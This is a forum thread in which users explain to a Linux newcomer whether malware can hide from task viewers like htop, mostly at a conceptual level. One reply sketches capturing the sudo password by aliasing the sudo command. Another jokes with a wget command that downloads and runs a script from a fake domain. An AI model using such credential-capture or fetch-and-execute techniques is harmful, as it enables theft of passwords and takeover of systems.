Hello everybody! I can say I’m a newbie at Linux. Wanted to ask about Linux’ task viewers. On the famous task viewers such as bpytop, htop etc., can viruses hide from them? Excluding the injected codes, can virus & tracker/logger softwares hide from classic task viewers of Linux? Do they show all kinds of services and running tasks?

  • darklamer@lemmy.dbzer0.com
    link
    fedilink
    arrow-up
    14
    ·
    5 months ago

    In general, no. Most malware that runs its own process simply uses some name intended to make you not notice it. But it is possible, in Linux just as in every other operating system that ever existed, to imagine that some unusually sophisticated malware manages to exploit some unknown vulnerability to gain full control of the kernel and then all bets are off, then it would be able to do anything.

    • boredsquirrel@slrpnk.net
      link
      fedilink
      arrow-up
      12
      ·
      5 months ago

      Getting the sudo password is pretty trivial.

      Just alias the sudo command to catch it and pipe it to the wanted tool.

      With the sudo password you can recompile the kernel and add a random kernel module to it.

      Only secureboot and verified boot make problems there. These are actually useful!

        • qprimed@lemmy.ml
          link
          fedilink
          English
          arrow-up
          4
          ·
          edit-2
          5 months ago

          I understand caution when approaching things like secure boot - it can absolutely be abused by monopolies. however… barring inherent or implementation flaws and ensuring that signing keys are under user control it conceptually (and practically) allows for some useful things.

  • MentalEdge@sopuli.xyz
    link
    fedilink
    arrow-up
    12
    ·
    5 months ago

    Depends on the malware.

    With total access, nothing would prevent the malicious code from modifying the task viewer itself to make it ignore the resources it is using.

    Accounting for every way malware might be discovered is difficult, but with enough system access, it’s all possible.

    • somethingsomethingidk@lemmy.world
      link
      fedilink
      arrow-up
      8
      ·
      5 months ago

      It also depends on the viewer. I remember using prctl() in C to chamge a process name and top showed my change but htop didn’t. I’m sure a competent malware writer would be able to trick it though

    • palordrolap@kbin.social
      link
      fedilink
      arrow-up
      2
      ·
      edit-2
      5 months ago

      True. There are various legitimate tools that are only really one step away from malware, so it’s not too hard to imagine going that one step further.

      Thinking specifically of the fact that a new process is allowed to change its apparent name, as well as creating secondary process pools, but there are bound to be other, deeper ways.

  • Presi300@lemmy.world
    link
    fedilink
    English
    arrow-up
    9
    arrow-down
    1
    ·
    5 months ago

    No, they cannot. If a process is running on your system, you can see it in htop.

      • Synnr@sopuli.xyz
        link
        fedilink
        arrow-up
        3
        ·
        5 months ago

        wget toteslegitdebian.app/installer.sh & chmod +x && ./installer.sh

        was I not supposed to do that? but staxoverflown said it’s OK.

  • lurch (he/him)@sh.itjust.works
    link
    fedilink
    arrow-up
    3
    ·
    edit-2
    5 months ago

    in theory, a virus can hide from them if it replaces (or LD_PRELOADs) them with something that filters the virus from its output.

    those task viewers will show everything running, except some kernel modules, because they are part of the kernel.

    also fast cron jobs will only be visible for a very short time. only while they run. if they run for like 250ms you probably won’t notice them.